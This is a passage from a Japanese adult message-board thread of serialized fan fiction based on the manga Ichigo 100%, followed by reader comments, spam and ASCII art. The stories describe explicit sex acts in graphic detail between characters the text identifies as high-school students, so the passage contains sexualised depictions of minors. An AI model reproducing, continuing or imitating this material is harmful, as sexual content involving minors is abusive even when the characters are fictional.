「ね…。でも、あたしばっかり気持ちよくなっちゃダメだよね。
今度は、あたしが淳平くんを気持ちよくしてあげるから。」
西野はそう言うと少しずつ顔を下げていく。真中は焦った。
「い、いや、いいって!俺、十分気持ちよかったよ!?西野のその気持ちだけで十分だから!」
「だ〜め!あたしばっかり恥ずかしい思いとかさせてさ…。…上手くできるかどうかわかんないけど
…淳平くんが好きだから…だから、ね?大人しくしなくちゃだめだぞ!」
「で、でも…あんなグロテスクなの…。に、西野に、そんなこと……。」
西野は止めない。そして、真中のその部分に顔を近づける。
「…っ……!」
真中は息を呑んだ。さっきの西野の胸の感触で真中のそこは熱を帯びていた。
まず、西野の手が触れる。初めて人に触られたからか、一瞬、びくんと跳ねる。
「きゃ…。じゃ、淳平くん…行くよ…?」
真中はただ頷くしかできなかった。ほんのちょっと触れられただけで達してしまいそうで、
必死に耐えるだけで精一杯だった。
「ちゅ…ん…。は…んむ…。んん……。ぷはっ…。淳平くん…気持ちいい…?」
1度顔を離して、上目遣いで尋ねてくる。
もう、そのアングルだけで真中には十分だったが、気力で耐えた。
「う、うん…。すっげぇ気持ちいい…。だから…も、もういいよ…。」
「もう!ダメって言ってるでしょ!?絶対淳平くんに満足させてやるんだからね!」
真中の言う事には耳も貸さず、西野はまた行為を始める。
「はむ……んん…っちゅ…はっ……ぅん…。」
西野の口には収まりきらないのに、目に涙を浮かべながら必死でする西野を見て、
更に西野への愛しさが溢れる。
「…っ……に、西野っ…!!」
真中の限界も、もうすぐそこまで来ていた。
「んん…!っふむ…。ぅん…ふぁ…っはん…ん…。」
「も、もうダメだ…!西野…!も、もういいから…に、西野…!!」
西野は顔を振り、止めない。真中は本当に限界だった。
「くっ…っくあ…あぁ…。」
どくん、と1回波打って西野の口の中に出される。
西野はその後、少し苦しそうな顔をする。しかし、そのままこくん、と音を立てて飲み込んでしまった。
「っぷはぁ…。けほっ…。ん〜…、苦いね…。でも、淳平くんのだし…。ね、気持ちよかった?」
放心状態だった真中は、西野の問いかけではっと我に返る。
「え…?そ、そりゃもちろん…じゃなくて!!に、西野…そんなの飲んじゃって…ご、ごめん…。」
真中は謝る。だけど、西野は首を振って答えた。
「ううん。違うの。あたしがしただけなんだから、淳平くんが謝る必要は無いよ?
淳平くん、気持ちよかったんでしょ?あたしは淳平くんがそう感じてくれれば、それだけで嬉しいから。」
そう言って微笑む西野。真中は自分がどれほど幸せかを体の奥から感じた。
続く
今日はここまでです。もう、話自体は出来あがっているので、続きは早目にできると思います。
途中、真中がすごくカッコよくなってる辺りは気にしてはいけません。(笑)
意見でも批判でも何でもいいんで、感想待ってます。では。
myu@「握手」さんキターー!!!待ってますた
やっぱり天才的に文章ウマイ…(゚д゚)
━━━━━━━━━━━(゚∀゚)━━━━━━━━━━━━━!!!!!
myu@「握手」さんキタ━━━(゚∀゚)━━━!!うまいなー
読ませてくれますね。ラブラブ期待した通りです。
続きまってます。頑張って下さい。
myu@「握手」さん、二人のラブラブエッチ最高です。
続きも激しく期待してます。
myu@「握手」さん
フェラ描写が特に良かったです
健気ですなあ
続きが早い!(笑) 今回は1人ずつレスしたいと思います。
>>633 天才的って…。それは誉め過ぎです。(笑)
>>634 言葉にならない程よかった、と受け取っていいですか?(都合良すぎ?)
>>635 期待に応えられてホッとしてます。頑張ります。
>>636 激しく期待しすぎてがっかりさせても知りません。(笑)
>>637 フェラですか…。1番自信がなかった所なんで、よかったです。
感想、本当にありがとうございました!かなり励みになります。
もしよかったら、また感想お願いします。
では、
>>632の続きです。
そして、真中はそっと西野の足を開く。
西野は顔を赤らめながら、素直に足を広げる。
現れた綺麗なピンク色からは、透明な愛液が流れ出ている。
「じゅ、淳平くん…。」
自分の1番恥ずかしいところを見られていることで更に西野の興奮は高まっていく。
真中はそっと指を這わせる。その瞬間、今までとは比較にならない程の快感が西野を襲う。
「あぁぁ!!んん!!…っ…ふぁ…!!あっ、あん!!」
真中は中心部には触れず、周りを撫でるように触っていく。
「あぅ!あっ…は、あぁん!!んっ…!い、いやぁ…あ、あぁ…は、はぅん!
んん!!あっ…あぅ…んっ!」
西野はどこかに飛んでいってしまいそうな自分の意識を引き止めるために、
真中にしがみつき、シーツを握り締める。
西野のそこからはさっきよりも多くの愛液が溢れ出る。
そして、それが真中の指を、自分自身の太ももを濡らす。
「あぁ…、あん!!…ぅん……。あっ!じゅ、淳平…く…んっ!」
真中はまだ中心部に触れない。手は行ったり来たりを繰り返して、口は2つの膨らみへ舌を這わす。
その先端への刺激はさっきとはまた違う快感であり、西野は新鮮な感覚ばかりだった。
「じゅ、淳平くん…!あ、あぁ…。も、もう…あぁ!が、我慢できない…んんっ…よ、ぉっ…あぁ!!」
その時、真中はきゅっと先端を摘まみ、甘噛みをし、中心部に指を這わせた。
「あっ…ああああぁぁっっ!!?」
一瞬だった。たった一瞬の出来事だった。何とか繋ぎとめていた意識は一気に飛んでいった。
頭が真っ白になり、強烈な快感が西野の体中を走る。
びくっと体を震わせ、西野は2回目の絶頂を味わった。
「あぅ…はぁ…ん…。」
真中はまだ荒い息をしている西野にそっとキスを落とし、まだ溢れ出ている愛液をすくい取るように舐めた。
「ひゃっ…、あ、あんっ…。じゅ、淳平くん…?…っ……。あ、あぁ…。」
舐めても舐めても溢れ出る愛液。西野はまた求め始める。
「あぁっ…!淳平くん!!んっ…。も、もっと…。あ、あぅ!!」
そして、真中はそっと言った。
「西野…入れるよ…?」
西野は一瞬びくっと震える。真中は西野の不安をできるだけ除こうと優しく言った。
「大丈夫。優しくするから…。俺が居るから。安心して…?」
西野は微笑んで言った。
「ん…。ありがとう。あたしは大丈夫だから。来て…。」
真中は頷き、そっと腰に手を当て、そして、真中のそれを西野の入り口に当てる。
一呼吸置いた後、真中は挿入を開始した。
「…くっ……あ…いっ…。」
痛みに耐える西野。真中は少しずつ、少しずつ、西野の顔色を覗いながら入れる。
その行為が西野には届いたのだろう。少し笑って言った。
「あ…ふぅ…。淳平くん…?気、遣わなくていいよ…。淳平くんがあたしを大切にしてくれてることは、
十分分かったから…。ん…。」
「いや、それじゃ俺が納得できない。できるだけ努力するから、痛かったら言ってよ。」
真中のいじらしいまでの気遣い。西野は嬉しくて、ただ頷くだけだった。
ゆっくりだけど、確実に真中自身は埋まっていく。
「く…ふぅ…はぁ……ん…。」
そしてようやく真中の全ては埋まった。
西野は想像を絶する痛みに必死で耐えていた。そこまで西野を耐えさせていたのは、
真中との証の欲しさ、1つになった嬉しさが痛みより勝っていたからだ。
続く
多分、次回完結です。長い間ありがとうございました。
どうか、最後まで見守ってやってください。感想も待ってます。では。
>>638-641 ⊂⌒~⊃。Д。)⊃ 萌え死にましたとも、ぽっくり、昇天。
myu@「握手」さん、ホント続き早いですねー。ヤター。
嬉しいなったら嬉しいなっ、楽しませて貰いました。
良い所で焦らされているよう。すっごく続き期待して居ります。
健気だ、(・∀・)イイ。
643 :
名無しさん@ピンキー:03/07/03 23:40 ID:RL2BQilo
アウアウ・・・
>>638-641 萌えさせていただきました。
つかさが痛みに耐えてるところが健気で(・∀・)イイ!
でも真中にもう少しぎこちなさがあってもいいかも。
>>641さん
上手過ぎです・・・
このスレが落ちてしまわないか心配でならない。
いちごが伸びる作品なら、セラムンみたくキャラごとのスレが立っても維持できるぞ。
647 :
名無しさん@ピンキー:03/07/06 22:25 ID:unzku9RT
漫喫行っていちご100%読んだあとに
Isを読んだら絵の下手さがわかった…
いちご>>>>>>>>>>>Is
かな?
あぼーん
649 :
名無しさん@ピンキー:03/07/07 00:15 ID:SgCZwWqA
あぼーん
ま、また今週の綾が萌えるんだなこれが。
上半身すっぽんぽーん♪
禿同
立ち読みしてて恥ずかしかったよ。
ってか週刊少年漫画版は入れなくない?
>>653 6日〜7日あたりに鯖がdj
復旧したかな〜?
巨乳のキャラが多いから読んでると言えば、怒られるかな?
656 :
北大路さつき:03/07/11 11:59 ID:/X2DWDX8
私が一番巨乳なんだからねぇ!東城さんには負けないわ!
あぼーん
>>642 萌え死にましたか!?いや、帰ってきて〜!(笑)
>>644 真中のぎこちなさが少ないのは僕も思ってました。まぁ、考えてみれば矛盾だらけですが。(笑)
>>645 大丈夫です。たとえ落ちても今回で完結です。
感想ありがとうございました。
>>644さんみたいにちょっとした指摘でもいいんでコメントください〜。
では、
>>641の続きです。そして、ラストです。最後までお付き合いください。
「西野…大丈夫?やっぱり止めようか…?」
真中が見かねて西野に聞く。西野は首を横に振る。
「ううん…大丈夫。そ、それより、お願いがあるんだけど、さ…。」
「え?何?」
「えっと、ね…?あたしのこと、『つかさ』って呼んでくれない…?」
「え…?あ、うん。分かった。にし…じゃなくて…えっと、つ、つかさ…。」
恥ずかしそうに小さい声で言う真中。その様子がおかしくて、西野は笑った。
幾分、痛みもマシになってきた気がする。
「あたしは大丈夫だから、動いていいよ…?」
真中は少し躊躇ったが確かによくなっていると思い、ゆっくり動き始めた。
「…っ…んん……あぁっ…くっ…。」
真中の動きに合わせて、西野も呼吸を繰り返す。
真中は少しでも痛みを紛らわそうと、西野の胸、そして陰核を刺激する。
「んん!!あっ、あん…。ふ、ふぁ…。」
西野の中も、痛みより快感の割合が増えてきた。
「あぅ…、淳平くん…!!も、もっと動いていいよ…?だ、大丈夫だから…。んん!!あっ、あん!」
真中も西野の中をたくさん感じていた。
西野が声を上げるごとに、もともと締まっている中をもっと強く締め付ける。無意識の内に動きが速くなる。
「あぁっ!!だ、だめっ!!んん!あ、あぅ…は、…あん!!い、いい…!あ、あぅ!!」
さらに動きが激しくなる。西野も真中に合わせて、自分の1番奥へ何度も何度も導く。
「ん…っ!!ふ、ふぁ…!あぅ…。んっ、ん!!」
真中は西野にキスをしながら、胸を愛撫し、陰核も親指で細かく振動させる。
「あああ!!!そ、そんなとこ…!あぁ!!いやっ!あっ!あん…っ!」
徐々に絶頂へ近づいてくる。それはお互い感じていた。
「つ、つかさ…っ!お、俺…っ!!」
「淳平くん…!あ、あたしも…もぉ…!!」
2人は無意識の内に体を密着し、激しく腰を動かす。
「んん!!あ、あぅ!!あっ、はぁ…!!あぅ、あん!あっ…あぁ!!」
そして、2人が1番奥で繋がったその時。
「あっ、ああああああぁぁぁぁっっっ!!!!」
「っ…く、くぅ!!」
2人は果てた。
2人はそのまま余韻に浸っていた。
しばらくして、全てを使い果たした感じの気だるい体を無理に起こし、肩を並べて寝転ぶ。
目が合った時、何となく恥ずかしくて2人して照れ笑いした。
「ありがとう…。淳平くん…。」
「いや、俺こそ、ありがとう。今までごめんな…。」
西野は首を振って目を閉じ、少しあごを上向ける。
真中は微笑んで、そっとキスをする。
些細な事かもしれない。だけど、2人にはこれだけで十分だった。
そして、手を繋いだまま静かに時間は流れた。
帰り際。
「う〜ん…。俺さ、やっぱり『西野』って呼ぶよ。何か言いにくいや。」
「そう…?でも、いいよ。淳平くんの好きな方で。だけどさ…。」
「?」
「あたしの名字が『真中』になっちゃったら、『つかさ』って呼ばなくちゃだめだぞっ!」
Fin
はい、遂に終わりました。色々ありましたが、なんとか完結です。
さっきも言ったように、まだまだ未熟な部分もありましたが、
最後まで見捨てないで見てくださってくれた皆さんには感謝、感謝です。
また話が思いついたら書いてみようかと思っている今日この頃。
皆さんの他の作品、新作も楽しみにしています。
では、失礼します。ありがとうございました!
お疲れ様でした〜(・∀・)
最高です!まさに最高にイイ(゚∀゚)!!
>「いや、俺こそ、ありがとう。今までごめんな…。」
ここの「ごめんな」で正直泣けました
そしてそのあとのやさしいキスシーン・・・
キャラ造詣に無理がないから自然に自然に二人が動いて
ストーリーの展開に無理がないから感情移入しちゃって・・・。・゚・(⊃Д`)・゚・。ホントナケル
個人的にエチーなのってどうも苦手なんだけど
あなたの文章はそういうのを超越してすばらしかったです
萌えもストーリーもオチまで含めてひとつの作品として完成されていたような気がします
実は今までずっと読ませてもらっていたんだけど
どうも恥ずかしくてレス出来ませんでした、ごめんなさい
それでは、いい作品をありがとう
次回作も期待してますよん♥
>>658-662 キタ━━━━(゚∀゚)━━━━!!!!
いや〜(・∀・)イイ! ただエチーしてるだけでなく萌えも完璧!
とっても幸せそうな二人に感動しますた。
最後の
>「あたしの名字が『真中』になっちゃったら、『つかさ』って呼ばなくちゃだめだぞっ!」
はもう萌え死にそうです(*´Д`)
お疲れさまでした。次回作も楽しみにしてます。
666 :
名無しさん@ピンキー:03/07/13 23:31 ID:L1s7hw6R
age
相変わらず(・∀・)イイ!ここまで原作のリアリティがある小説初めてでした。
お疲れ様でした。最後まで最高でした。( ´ー`)オツカレー
今週のジャンプ…ボーボボの次だからつかさがウンコ食ってるみたいに見える…
myu@「握手」さん
大作の完成、本当にお疲れ様でした。
最初からいつも次を楽しみに読ませていただきました。
二人とも存分に「らしさ」が出ていますし、話の流れも良かったです。
本編からの繋ぎもとても上手でした。あの話はすごく好きです。
エロと萌えを両立させて、二人のキャラを少しも壊さずピュアなところも素晴らしいです。
第二ボタンのところがすごく好きです。(*´д`)
その他、良かったシーンを挙げればキリがありません。
最後のシーン、真中に無理につかさと呼ばさせないところも良いですね。
その方が真中っぽいし、つかさの返事も萌えですし。(*´д`)
次回作、楽しみに待っています。
しかし女性陣は、突っ込んできた真中をぶっ飛ばすのはいいとして、
真中を放り込んだ男性陣に何の仕返しもしないのか?
表紙(・∀・)イイ!!
672 :
山崎 渉:03/07/15 11:06 ID:7GpObfWE
__∧_∧_
|( ^^ )| <寝るぽ(^^)
|\⌒⌒⌒\
\ |⌒⌒⌒~| 山崎渉
~ ̄ ̄ ̄ ̄
673 :
名無しさん@ピンキー:03/07/16 00:00 ID:1EKKUFO3
期待age
あぼーん
あぼーん
綾の小説きぼん
677 :
名無しさん@ピンキー:03/07/18 20:58 ID:x7TVqtQT
綾の小説なら漏れもキボンヌ
肝試しは結局西野とか。
よりが戻りそうなヨカーン。
681 :
名無しさん@ピンキー:03/07/19 23:50 ID:UeWHscwO
おまいら今日は祭りですよ
682 :
名無しさん@ピンキー:03/07/20 00:11 ID:Tg8tzW7M
こい!!!!!!!!!!!!!
あぼーん
684 :
名無しさん@ピンキー:03/07/20 16:24 ID:yiyCy18j
今週は扉絵でさつきの勝利?しかし高2であの胸は凄い!
さつき、挟め・・・
686 :
名無しさん@ピンキー:03/07/21 23:18 ID:bAE85ynX
保守。誰かこい!語るべ
あぼーん
閼礙
あぼーん
鐚懈
あぼーん
鐚懈
身を起こしてゴムを押さえて腰を後ろに引く。
ぬるぬると唯の中から俺のモノが出てくる。赤い血にまみれていた.
ふとシーツを見るとかなり大きな赤いシミのまだらができている。
「あっちゃー…」
「…え…?どうしたの…?」
唯が身を起こそうとする。
「わっ…ちょっ…そのままそのまま…お前は寝てろって。」
さらに動かれると余計にシミを大きくしてしまう。
俺の側のシーツの端を布団から外す。
「動くなよ…」
「え?なになに?」
そっと唯の背中と膝の下に腕を通して持ち上げる。
「わっ…これって…”お姫様だっこ”?
淳平、以外と力あるね」
”お姫様だっこ”。そういえばそうだな、と思いながら唯に言う。
「俺、手使えないからシーツ外してくれ。」
「え?…はいはい。」
唯はやっと気付いたのか、手を伸ばしてシーツをはがし、自分の腹の上で丸める。
「よし…っと。」
俺は唯とシーツを腕の上に乗せたまま立ち上がる。
腰の方を持ち上げて頭のほうが低くなるように力を調節する。
「落とさないでよね…。」
「わかってるって。あ、ドアも開けてくれ…。」
「はいはい…」
ドアノブが唯の手で回される。
音を立てないように廊下に出る。耳を澄まして親が起きていないか確認する。…大丈夫だ。
唯とシーツを抱えたまま風呂場へ急ぐ。
少しだけ洗面所の扉が開いている。俺が体で押して開けると、唯が手を伸ばして電気をつける。
洗面所兼脱衣所でタオルを一枚取る。風呂場に入ると、唯が風呂場の電気をつける。
そして風呂場の腰掛の上に唯を下ろした。床に落ちたシーツを手に握る。
「唯、先に体洗えよ。俺出てるから」
そう言いながらタオルを手渡す。
「え…?」
唯が不思議そうな顔をする。
「え、いや、だって親が起きてきたら、なんて言うか…
だから見張ってないと。」
「多分大丈夫だって…私が浴槽に隠れるから。
ほら、ドア閉めて。」
「…ああ…うん…」
しぶしぶドアを閉める。
はやくもシャンプーを手に乗せ始めている唯を見下ろしながら、俺自身は何もすることがない。
「あ、俺やっぱりちょっと出てくる…」
「あ、ちょっ、淳平?」
そう言って唯の声を尻目に風呂場を出る。
ゴムが自分のモノにはまったままなのを思い出したのだ。
洗面所で外す。ティッシュを一枚取り、亀頭を軽く拭うと、コンドームもその中に入れて、
注意深く丸めて、ごみ箱に捨て去る。
シーツに洗面所の石鹸をつけて洗う。落ちますように…
祈りつつ揉み洗いをする…
血の斑は期待通りに落ちてくれた。後は学校へ行く前に干しとけばいいだろう…
再び風呂場に入る。
「ちょっとシャワー借りるな。」
「あ、うん…。」
唯が頭をシャンプーの泡だらけにしながら目をつぶったまま応える。
ざっと頭を濡らすとシャンプーのボトルを手に取る。
頭を手早く洗うとシャワーで洗い流す。
体も軽く流して汗を落とすと浴槽のふたを外す。
幸いにしてまだ栓を抜いていなかった。
片足を入れる。
……ぬるい。
…もう夜明け前だしな。仕方ない。
諦念と共に体をつける。肘を浴槽の両側につき、足を掛ける。
ふぅっ…とため息をついて目をつぶる。
「あれっ…唯の背中流してくれないの?」
唯が催促している。疲れを感じていたので黙っていることにする。
「もー…仕方ないなぁ…
いつだったかはただで流してあげたのに…」
自分で洗うことにしたようだ。やがてシャワーで流す音が聞こえる。ひたっ、と足の裏と床が触れ合う音。
「あのー…唯が入れないん…だけど…」
「…上に乗れよ。」
「…うん…。」
唯が浴槽の縁と俺の体をまたいで水に足をつける。
「わっ…ぬるい…」
「だから体くっつけて…」
脚を揃えて俺の太腿の上に腰を下ろす。
唯のおしりが俺の太腿に押しつけられる。体温が伝わる。
そして唯が俺の胸板の上に頭を乗せる。
「あ、ちょっとしみる…」
唯が顔をしかめる。俺は腰を上げて唯の体を水から浮かせる。
「うん…ありがと…」
そう言ってから唯が黙る。唯の心臓が起こす震動が俺の体を通り、浴槽のぬるま湯を走り、
俺の体にはね返ってくる。
そっと手を伸ばして唯の髪を撫でる。
「ね…淳平…」
「ん…?」
「なんかさ、唯と淳平って…恋人って感じじゃないよね…
どっちかって言うと…夫婦?…そう思わない?」
一瞬言葉の意味を反芻していたが、徐々に脳に染み込んでいった。
「夫婦」
…そうだ…。さっきの契りを交わしたときからまだ一時間も経っていない…。
俺は東城とも、西野とも、さつきとも、立ち入ったことのないところまで唯と一緒に進んでしまった。
ふとしたきっかけ。けれど、きっと、こうなるべきだったんだ。最初から。
なぜかはわからないがそういう確信があった。
これからは唯を守りつづけよう。
唯と過ごしていこう…静かな時間を。
唯の頬に手を当てる。
「上がろうか…」
「うん…。」
我々は新しい下着を身に着け、俺は新しい寝間着を着て新しいシーツを手に持ち唯の手を引いて部屋へ戻った。
カーテンから薄い光がさしこんでいる。夜明けが近いらしい。
「え…えっと…唯のパジャマは…」
唯がそこかしこを探しまわる。どうやら見当たらないらしい。
先にシーツを広げて俺は自分の布団に入った。探すのを諦めた唯が布団の端を持ち上げてもぞもぞともぐり込んでくる。
俺の胸板に頬を押し付けて体をぴったりとくっつける。
体温と、疲れと、安心感から、まどろみがゆっくりと近付いてくる。まだ2時間は眠れそうだ。
「唯、おやすみ…」
そう呟いて目を閉じる。
「淳平…」
唯が俺の口にキスをしたのが、眠りとの境界線の上で俺が受け取った最後の感覚だった。
(続く)
ブランクがかなり空いてしまいましたね。
この前晒そうと思った矢先に、家の付近に落雷が。w
サージを起こした挙句、電源装置がいかれちゃいまして。ww
その上調べてみるとハードディスクがdj始末。
もう何度書き直すのやめようと思ったことか。www
そういえば私の誕生花は「オーク」(柏:落雷樹)なんですよね…(´Д`;)
いやー参った。
そういえばジャンプの方で動きがあるみたいですね。
急がないと。
>myu@「握手」氏
おつかれ様でした。楽しく読ませていただきました。(*´Д`)
また、ぜひ、西野ものでも、なんでもどうぞ…次回作、楽しみにしています。
700 :
名無しさん@ピンキー:03/07/28 07:30 ID:jOmDP/mx
1001ストッパーが壊れた!?
漫画サロン板のとあるスレで、1001ストッパーが壊れ
1001以降もまだ書き込みできている模様。
1001 名前: 1001 投稿日: Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。
1006 名前: マロン名無しさん 投稿日: 03/07/28 07:03 ID:Z0CeMHS7
何これ
1014 名前: マロン名無しさん 投稿日: 03/07/28 07:03 ID:AxlwdY4A
お〜い、まだ書けるぞ?
書き込みは1300レスを過ぎた今も続けられている。
↓のスレに直行し、2ちゃんねるの歴史に名を残そう!
http://comic.2ch.net/test/read.cgi/csaloon/1059322343/
あぼーん
>>699 マジ凄すぎるよ〜
ホントそれしか言えないかも・・・なんか涙でそう
もう全部最高、超素敵
こういう人を職人って言うんだなぁと実感させられたよ
基本的に自分は西野好きなんですけど唯もいいと思ってしまうぐらい
読んでて幸せになる、愛が溢れてる小説でした
ホント乙です
素敵な体験をありがとう
ちょうど本誌では唯編がスタートしてまつね。
あぼーん
ツルペタより巨乳!
あぼーん
鐚懈
あぼーん
http://www5f.biglobe.ne.jp/~database/library.html 当方の保管庫にこのスレのSSを収蔵しました。
自分の作品を転載して欲しくない方は仰って下さい。削除します。
正式に作品名、作者名を付けたいという場合も仰って下さい。
PS.
レス番号>>450から西野SSを書かれているmyu@「握手」様、
作者名がmyu、SSタイトルが「握手」ということで宜しいのでしょうか?
レスを読んでると自信がなくなるのですが、myu@「握手」が作者名なのでしょうか?
さつき、さつき!(*´Д`*)ハァハァ
>>694-698 感動しました。言葉にするにはどうしたらいいのか、解らなかったので遅くなりました。
ほのぼのしてますね。本当に唯ちゃんと結ばれたらこんな感じですね
最後のキス泣かせるなあ。 絆を感じる。
>唯の心臓が起こす震動が俺の体を通り、浴槽のぬるま湯を走り、
>俺の体にはね返ってくる。
細かい描写も二人の想いの深さを表していて最高です。
なんか人肌恋しくさせる作品ですね。
ジャンプ慌しく動きがあるような。がんばってください。
続き期待してます。
∧_∧ ∧_∧
ピュ.ー ( ・3・) ( ^^ ) <これからも僕たちを応援して下さいね(^^)。
=〔~∪ ̄ ̄ ̄∪ ̄ ̄〕
= ◎――――――◎ 山崎渉&ぼるじょあ
>>702 >>714 どうもです(*´Д`)
よく「描写が長ったらしい」って言われるんですけど
これからもねっとりだらだら描写していきます。w
人肌恋しい・・・うんうん。
自分でも原動力がどこにあるのかわからなかったけど、
「人肌恋しさ」にあるのかも。w
ジャンプの動きにまけないように頑張り…たいのですが…
ちょっと小休止。いつになるやらw すみません。
717 :
名無しさん@ピンキー:03/08/03 08:51 ID:Xxgz6nbs
襾乂
唯?あんなのは飾りです。偉い人には分からんのです。
>>718 そりゃスマナイネ。
SS見かけてもスルーしてくれ
>>719 大丈夫!
偉い人には分からなくても、オレらみたいなエロい人は分かってるから!
萌えエネルギーを充填してまた新作をお願いします。
つかさも好きだけどね!
>>720 ありがd
なんだかホッとしたよ
にしても続きを書こうか迷っています、正直。
このまま終わっておいた方が綺麗かも。と思ったり
でもまだ本当のエロの方を書いてないし。
頑張ります!頑張るぞ!
>>721 そういえば、二箇所あった選択肢から分岐するストーリーってのもあるのでしょうか?
第2分岐からは何とか書けそうですが、
第1分岐はどうなるんだろ・・・
なんかこのルートで話を重くしすぎたなぁ・・・
分岐のほかのルートはただのエロルートになりそうですが、それでよければ。
恐らく大幅にストーリーは変わってしまうでしょうが。w
唯の感情の既定値がルートによって同一時間において変化してしまうと言う
エロゲー的(笑)タイムパラドックスが生じることでしょうけど。w
例えば、エッチに対する唯の捉えかたが変化したり。( ´Д`) <ダメヂャン
それでもよければ書かせていただきます。
あぼーん
725 :
名無しさん@ピンキー:03/08/04 01:58 ID:pgSI7oFL
あぼーん
あぼーん
保守・・・。
続き書き中・・・一気に終わらせるつもりです・・・
>>728 僕でよろしければまた書かせていただきます・・・
731 :
asdf:03/08/08 17:30 ID:fNll/aCz
続きが気になる・・・
732 :
名無しさん@ピンキー:03/08/08 17:31 ID:/ISqt93m
あぼーん
735 :
名無しさん@ピンキー:03/08/09 22:57 ID:c36k8Ay0
アゲチャタスマソ
_,,..i'"':,
|\`、: i'、
.\\`_',..-i
.\|_,..-┘
>>730 がんばって下さい。期待してます。
一気ですか凄いですね。またーりして待ってます。
739 :
myu:03/08/11 21:06 ID:SjlyQopq
お久しぶりです。「握手」をここで書かせて頂いたmyuです。
ちょっとレスをしたいと思います。1ヶ月遅れてすいません…。
>>663 そこまで感動されるとこっちまで照れます。(笑)
キャラやストーリーなどには結構こだわりを持っているので、
そういう風に感じて頂けることはとても嬉しいです。
僕もHシーンより、それまでの話の方がメインだと思ってます。
遅かれ早かれ、感想をくださってありがとうございました!
>>664 あの落ちは最初、書き始めた時から決めていました。
「完璧」とまでは行っていないと思いますが、そこまで感動してしてくれたら
僕も嬉しいです。ありがとうございました〜。
>>665 まとめて頂いてありがとうございます。
続きが早ければこんな手を煩わせることもなかったんですが…。すいません。
本編ではすれ違いと言うか何か煮え切れない感じなので、それを全て撤去して
自分自身の欲求不満を解消してました。(笑)
ありがとうございました!
740 :
myu:03/08/11 21:29 ID:SjlyQopq
>>667 原作のリアリティを感じて頂いたことが1番僕としては嬉しいです。どうもでした〜。
>>669 あのシーンは1番切ないシーンだったんで、書こうと思った時はここだと一瞬で決めましたね。
続きを楽しみにして頂いていたのに、遅くてすいませんでした…。
第2ボタンの所は僕もお気に入りです。
ふと「あの第2ボタン、どうなったのかなぁ」って思ったんで、僕の希望をそのまま…。(笑)
真中はそう簡単に「つかさ」とは呼ばないだろうと思いまして。何か嘘っぽい感じですしね。
感想、ありがとうございました。
>由比正雪 ◆83gthwEldcさん
ありがとうございます。唯小説、いよいよラストですね!楽しみにしてます。
新作も楽しみです!頑張ってください!
>>710 はい、そうです。作者名が「myu」で作品名が「握手」です。
6巻も買いましたし、また小説を書こうと思います。
コミックス派なんで、誰がどうなったかは知らないので、6巻の現時点での小説です。
今、頭の中にあるのは唯の小説とさつきの小説の2つですね。
今までと同じように書き上げるのはかなり遅いとは思いますが、また見てくださると嬉しいです。
他の方々の新作小説も楽しみにしてます!思い切って書いてみてはどうでしょうか…?
それでは、失礼します。
6巻のあらすじきぼんぬ
>>739 >>665です。ご返答有難う御座います。
大層な事はしてないですよ。皆さんに読んで欲しかっただけです。
SSこちらで書いてみたいですね。今は遠い夢の様な感じです。
次回ゆっくり待ちます。期待しておりますよ。毎日確認はしてますがwww。
さて・・・ジャンプ本編を見終わったわけですが・・・w
まぁいいや!私は私です!どうにかなるでせう・・・(;´Д`)
>>731>>734>>735>>738 どうか、とっくりと見守ってやってください。w
>myu氏
そうですか・・・僕も西野orさつきのハードエロにしようかなと。
まぁ・・・そのうちですね。
>>743 おちけつ。
カーテンの隙間から差し込む光が目を射している。
・・・まぶたが重い。とてつもなく鈍い。
しかし、思い出して急に目が冴える。
はっとして、布団をめくる。・・・いない。
隣のベッドにも、・・・いない。
時計を確認する。まだ7時だ。
のそりと身を起こして、頭をかきながら自分の部屋を出る。
何だったんだ・・・夢だったのか?
居間まで行くと、朝食がこたつ机の上に乗っている。
目玉焼き・・・味噌汁・・・ごはん・・・
ベランダのガラス戸がすっと開いて、
桜海学園の制服をの上にエプロンを着けた唯が入ってくる。
「あ、淳平おはよ・・・」
「あ、ああ、おはよう・・・」
ベランダから差し込む光が再び目を射す。目を凝らすとシーツが干されている・・・
「何突っ立ってんの?」
唯がトレイに自分の分の朝ごはんを乗せて俺の傍に立っている。
「ほら、冷めるよ・・・」
「あ、はい・・・」
腰を下ろす。
「もう起こしに行こうかなぁって思ってたところ・・・」
そう言いながら自分の前に朝食を並べ終えた唯が、
ぼーっとしていた俺の頬にキスをする。
「ほら・・・。じゃ、いただきまーす」
そう言って箸を指に挟んだ両手を合わせると食べ始めた。
あっけに取られながら、俺も手をつける。
「どお?おいしい?」
「あ、うん・・・。」
熱い味噌汁をすすると現実感がともなってくる。
ああ、そうか・・・そうだった。・・・そうだったんだ・・・・・・。
「ごちそーさまっ」
俺とほぼ同時に食べ終えた唯が食器をトレイに乗せて片付け始める。
「あ、俺も・・・」
何かを手伝おうと思って腰を上げると唯が軽く制止する。
「いいから。淳平は着替えてきて。
今日は早めに出ようよ。」
「あ、うん。」
すごすごと部屋に戻る。そこで一息をつく。
現実感がともなってきたことで、寝る前のことが自分の体験としてはっきりしてきていた。
寝間着を脱いで制服を取り出して日常の習慣に従って身に着ける。
そして洗面所へ足を向ける。まだ台所からは水を使う音が聞こえている。
歯ブラシを濡らしてチューブからペーストをしぼり出す。
鏡で自分の寝ぼけた顔を見る。我ながら情けない顔だ。
ふと横の風呂場に目を移す。・・・深夜のことははっきりと思い出せる。
しかし思い出すと顔が赤く染まりあがるほど動揺してしまう・・・
「ほら、何ボケてんの?」
ふと鏡に視線を戻すとエプロンを外した唯が俺の後ろから手を伸ばして、
自分の歯ブラシを取ろうとしている。ひょいっと渡してやる。
「ありがと」と呟いて渡された歯ブラシを濡らしてペーストをしぼり出している唯は、
全然平常心に見えるのに。ますますひとりで動揺している自分が情けなくなってくる。
手を止めているのを見つけた唯が俺の手を押す。
早く歯を磨けということらしい。
何となく唯の頭に手を乗せてから磨き始める。
別に嫌がる風でもなく唯は黙々と歯を磨いている。
頭に手を乗せ、また乗せられて歯を磨く二人。
奇妙な構図だった。
まぁ、それはそうだろう。
血も繋がっていない高校生の男女が二人して朝から歯を磨いているのは健全かもしれないが、
正常ではない。
と、どうでもいいことを考えているうちに唯が先に歯を磨き終わって洗面所を出ていった。
俺の背中を軽く二回叩いて。
鏡で、出ていく唯の背中を見ながら甘ったるいペーストを吐き出して口をすすぐ。
ついでに顔も洗う。
少しは見れる顔になったところで居間へ行くと、唯が座って緑茶をすすっていた。
そこで初めて気がついた。
「あの・・・唯、俺の親はどうしたんだ?」
